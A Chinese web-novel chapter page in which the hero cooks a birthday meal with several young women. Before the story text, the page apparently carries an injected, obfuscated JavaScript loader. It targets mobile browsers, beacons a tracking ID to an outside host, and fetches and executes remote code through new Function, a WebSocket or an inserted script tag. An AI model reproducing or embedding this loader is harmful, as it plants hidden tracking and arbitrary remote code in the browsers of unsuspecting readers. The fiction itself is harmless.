第129章 大小姐帮厨(第1页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
“刘姐姐是今天的小寿星,不要动手。等下客人来,你还要招待呢。”
见两个姑娘不敢杀鱼,刘铁花要杀,许辰立刻拉住她手。
刘铁花很满意许辰的体贴,给了温柔的笑脸,就离开了厨房。
许辰动手把鱼打死。
“你是怕我婆婆偷师吧?”
赵清荷的确是个很务实,很主观的人。
“怎么会?在我家食肆,看她第一眼,我发自内心的觉得她人很好。尽管那天她骂徐翠花的样子很吓人。她肯学我的菜,我自然舍得。我和她也是君子之交。”
许辰处理着食材。
趁机洗白两人的感情,免得让这家伙看轻了刘姐姐。
“君子吗?哼哼!”
赵清荷第一次用严肃而漠然的语气和许辰说话。
算是她的警告。
许辰知道她什么意思,也懒得辩解。
唇都亲肿了,两人还能守住本心,那就是君子!
换做一般男女,谁顶得住?
“三郎,这虾壳你还要吗?”洗了青菜,赵叶叶开始去剥虾。
“二姐怎么知道它对我有用?”许辰好奇。
“姐姐说不管什么材料,在你手中都千变万化,就连没用的虾壳,骨头,蟹壳,你以前都经常说可以做什么高汤。”赵叶叶说的自然是赵莺莺。
做高汤的想法许辰只跟秦月荣说过。
秦月荣可能告诉了赵莺莺。
赵莺莺又和赵叶叶说了……
“你打算先做什么?”赵清荷也在处理鸡肉,主要是把鸡毛给收拾干净。
看她趴在那里,认认真真的一根一根的拔毛,许辰有些好笑。
察觉到她开始嫌弃自己,也就懒得教她怎么处理鸡毛。
免得被她看成指手画脚、妄自尊大,凭空惹人嫌弃。
“做肉丸子,然后炸熟。很多菜都需要先炸。比如说鱼,鸡块。排骨也先炸一下,可以节省烹饪的时间。不然会来不及。幸好你娘是老饕,家里的灶洞够多。”
许辰只能根据当下的环境,合理的改进各大菜品的烹饪流程和步骤。
他开始做各种粉料。
把八角,辣椒,香叶以及西域来的一些稀罕香料捣碎,进行合理的搭配,制成某些菜品需要的粉料。
什么十三香,五香粉,都信手拈来。
配好了调料,把需要的料头也都切好,许辰开始给两女分配新的工作。
一个把山药剁碎,一个把猪肉剁碎。
有些人捣山药泥的时候,手会齐痒难耐。
他就让自己的二姐躲猪肉馅,让赵清弄野山药。
猪肉馅不用剁的太碎,需四毫米的大小,许辰也都和赵叶叶仔细交代了。
“山药呢?”赵清荷问。
“随便,越碎越好!成泥也行。”
许辰很敷衍。
赵清荷不开心了。
当我是傻的么?
本来这山药许多人都不敢碰!我也惧怕山药!
一旦触碰,手上都齐痒难耐。
你偏心我能理解。
问你问题也那么敷衍,就有些瞧不起人了。
许辰终归是善良之人,不教她拔鸡毛,也不忍心她手难受,就拿出自己做包子用过的羊肠袋,帮她套在手上,手腕用细绳扎紧。
“这是什么?”赵清荷嫌弃的问。